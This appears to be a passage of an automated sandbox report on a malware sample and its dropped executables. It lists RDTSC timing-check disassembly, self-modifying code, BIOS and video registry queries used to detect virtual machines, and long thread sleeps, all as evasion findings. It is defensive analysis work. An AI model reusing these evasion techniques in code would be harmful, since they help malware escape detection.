Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F605E5 second address: 4F60665 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007F32E9641F1Eh 0x00000011 nop 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F32E9641F1Eh 0x00000019 sub eax, 359CB8E8h 0x0000001f jmp 00007F32E9641F1Bh 0x00000024 popfd 0x00000025 mov dx, cx 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007F32E9641F25h 0x0000002f nop 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F32E9641F28h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60665 second address: 4F6066B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F606EE second address: 4F50E4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F32E9641F21h 0x00000009 adc ch, FFFFFFE6h 0x0000000c jmp 00007F32E9641F21h 0x00000011 popfd 0x00000012 jmp 00007F32E9641F20h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, eax 0x0000001c jmp 00007F32E9641F20h 0x00000021 test esi, esi 0x00000023 pushad 0x00000024 call 00007F32E9641F1Eh 0x00000029 pop edi 0x0000002a mov dx, cx 0x0000002d popad 0x0000002e je 00007F335A2FFE18h 0x00000034 xor eax, eax 0x00000036 jmp 00007F32E961B64Ah 0x0000003b pop esi 0x0000003c pop edi 0x0000003d pop ebx 0x0000003e leave 0x0000003f retn 0004h 0x00000042 nop 0x00000043 cmp eax, 00000000h 0x00000046 setne cl 0x00000049 xor ebx, ebx 0x0000004b test cl, 00000001h 0x0000004e jne 00007F32E9641F17h 0x00000050 jmp 00007F32E964208Bh 0x00000055 call 00007F32EE21BFB3h 0x0000005a mov edi, edi 0x0000005c jmp 00007F32E9641F27h 0x00000061 xchg eax, ebp 0x00000062 pushad 0x00000063 pushfd 0x00000064 jmp 00007F32E9641F24h 0x00000069 xor cx, F098h 0x0000006e jmp 00007F32E9641F1Bh 0x00000073 popfd 0x00000074 popad 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F32E9641F1Bh 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50E4E second address: 4F50E54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50E54 second address: 4F50E69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F32E9641F1Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50E69 second address: 4F50E80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50E80 second address: 4F50EAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F32E9641F1Eh 0x00000013 and ah, FFFFFFB8h 0x00000016 jmp 00007F32E9641F1Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60B55 second address: 4F60B5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60B5B second address: 4F60B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60B61 second address: 4F60B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60B65 second address: 4F60B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60B69 second address: 4F60B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F32E8D838E7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60B8B second address: 4F60BAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 0FAAh 0x00000007 mov di, 7C76h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F32E9641F23h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60BAF second address: 4F60BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E8D838E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60BC7 second address: 4F60C92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F32E9641F26h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F32E9641F1Eh 0x0000001a xor eax, 31E54658h 0x00000020 jmp 00007F32E9641F1Bh 0x00000025 popfd 0x00000026 mov edx, esi 0x00000028 popad 0x00000029 cmp dword ptr [75C7459Ch], 05h 0x00000030 jmp 00007F32E9641F22h 0x00000035 je 00007F335A2EFCE6h 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007F32E9641F1Eh 0x00000042 xor eax, 0D27D7E8h 0x00000048 jmp 00007F32E9641F1Bh 0x0000004d popfd 0x0000004e jmp 00007F32E9641F28h 0x00000053 popad 0x00000054 pop ebp 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 jmp 00007F32E9641F1Dh 0x0000005d jmp 00007F32E9641F20h 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60CD4 second address: 4F60CD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60CD8 second address: 4F60CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60CDE second address: 4F60D00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, cx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60D00 second address: 4F60D05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60D05 second address: 4F60D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60D87 second address: 4F60DF2 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 5FEFh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007F32E9641F24h 0x0000000e adc ecx, 45AF9E18h 0x00000014 jmp 00007F32E9641F1Bh 0x00000019 popfd 0x0000001a popad 0x0000001b sub esi, esi 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F32E9641F25h 0x00000024 or ch, FFFFFFB6h 0x00000027 jmp 00007F32E9641F21h 0x0000002c popfd 0x0000002d mov cx, C9A7h 0x00000031 popad 0x00000032 mov dword ptr [ebp-1Ch], esi 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 mov ebx, ecx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60E43 second address: 4F60E6E instructions: 0x00000000 rdtsc 0x00000002 mov di, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, 3EA20D7Bh 0x0000000c popad 0x0000000d test al, al 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F32E8D838E3h 0x00000017 pop eax 0x00000018 mov dx, 710Ch 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60E6E second address: 4F60E73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80381 second address: 4F803AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F32E8D838DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F803AE second address: 4F803BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F803BE second address: 4F803FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov cx, di 0x00000010 mov ebx, 01B76146h 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 jmp 00007F32E8D838DDh 0x0000001c mov esi, dword ptr [ebp+0Ch] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F32E8D838DDh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F803FA second address: 4F80436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 pushfd 0x00000007 jmp 00007F32E9641F28h 0x0000000c adc cx, 4048h 0x00000011 jmp 00007F32E9641F1Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f mov si, E251h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80436 second address: 4F8045A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov ax, 8A89h 0x0000000b popad 0x0000000c popad 0x0000000d je 00007F3359A1184Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F32E8D838DDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8045A second address: 4F80460 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: FDE543 second address: FDE549 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: FDE549 second address: FDE553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F32E9641F16h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: FDE553 second address: FDE557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: FDDE28 second address: FDDE3F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F32E9641F1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: FDDE3F second address: FDDE49 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: FDDE49 second address: FDDE5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F1Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 1150702 second address: 1150735 instructions: 0x00000000 rdtsc 0x00000002 js 00007F32E8D838E6h 0x00000008 jmp 00007F32E8D838E0h 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F32E8D838E6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 116964C second address: 116965E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F32E9641F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F32E9641F16h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 11697D0 second address: 11697E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F32E8D838E1h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 1169995 second address: 116999E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 116999E second address: 11699A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 11699A6 second address: 11699B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F1Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 1169AF4 second address: 1169B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F32E8D838D6h 0x0000000a pop esi 0x0000000b pushad 0x0000000c jmp 00007F32E8D838E9h 0x00000011 jl 00007F32E8D838D6h 0x00000017 jmp 00007F32E8D838DDh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 116C391 second address: 116C397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 116C397 second address: 116C39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 116C39B second address: 116C3D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F32E9641F29h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jl 00007F32E9641F22h 0x0000001b jp 00007F32E9641F1Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 116C4BD second address: 116C4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 116C4C2 second address: 116C556 instructions: 0x00000000 rdtsc 0x00000002 je 00007F32E9641F18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jno 00007F32E9641F16h 0x00000015 popad 0x00000016 pop edi 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F32E9641F18h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov edx, dword ptr [ebp+122D2D4Dh] 0x00000038 jmp 00007F32E9641F21h 0x0000003d push 00000000h 0x0000003f pushad 0x00000040 pushad 0x00000041 mov ecx, dword ptr [ebp+122D2DCDh] 0x00000047 mov edi, edx 0x00000049 popad 0x0000004a and edx, dword ptr [ebp+122D2FB9h] 0x00000050 popad 0x00000051 call 00007F32E9641F19h 0x00000056 pushad 0x00000057 push edi 0x00000058 jmp 00007F32E9641F1Bh 0x0000005d pop edi 0x0000005e jmp 00007F32E9641F24h 0x00000063 popad 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 116C556 second address: 116C55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 116C55D second address: 116C57B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jg 00007F32E9641F16h 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	RDTSC instruction interceptor: First address: 116C57B second address: 116C581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 39EF02 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 39EE52 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D8D8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Special instruction interceptor: First address: FDDDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Special instruction interceptor: First address: FDDE9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Special instruction interceptor: First address: 119124F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Special instruction interceptor: First address: 118FC05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Special instruction interceptor: First address: 12315EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Special instruction interceptor: First address: FBC8E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Special instruction interceptor: First address: 1049403 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F3C8E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FC9403 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Special instruction interceptor: First address: D1EF02 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Special instruction interceptor: First address: D1EE52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Special instruction interceptor: First address: F58D8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Special instruction interceptor: First address: 14066D1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Special instruction interceptor: First address: 125B59A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Special instruction interceptor: First address: 142B65F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Special instruction interceptor: First address: 97DDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Special instruction interceptor: First address: 97DE9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Special instruction interceptor: First address: B3124F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Special instruction interceptor: First address: B2FC05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Special instruction interceptor: First address: BD15EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Special instruction interceptor: First address: 2FC8E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Special instruction interceptor: First address: 389403 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Special instruction interceptor: First address: 61DDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Special instruction interceptor: First address: 61DE9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Special instruction interceptor: First address: 7D124F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Special instruction interceptor: First address: 7CFC05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Special instruction interceptor: First address: BAC8E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Special instruction interceptor: First address: 8715EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Special instruction interceptor: First address: C39403 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Memory allocated: 48B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Memory allocated: 4C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Memory allocated: 4A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Memory allocated: 4960000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Memory allocated: 4D50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Memory allocated: 4AD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Memory allocated: 4DA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Memory allocated: 4DA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Memory allocated: 6DA0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe

Code function: 4_2_0116C6A2 rdtsc

4_2_0116C6A2

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 356	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1697	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2174	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Window / User API: threadDelayed 525

Source: C:\Users\user\Desktop\file.exe TID: 4296	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6120	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3636	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe TID: 2124	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5904	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5904	Thread sleep time: -110055s >= -30000s	Jump to behavior
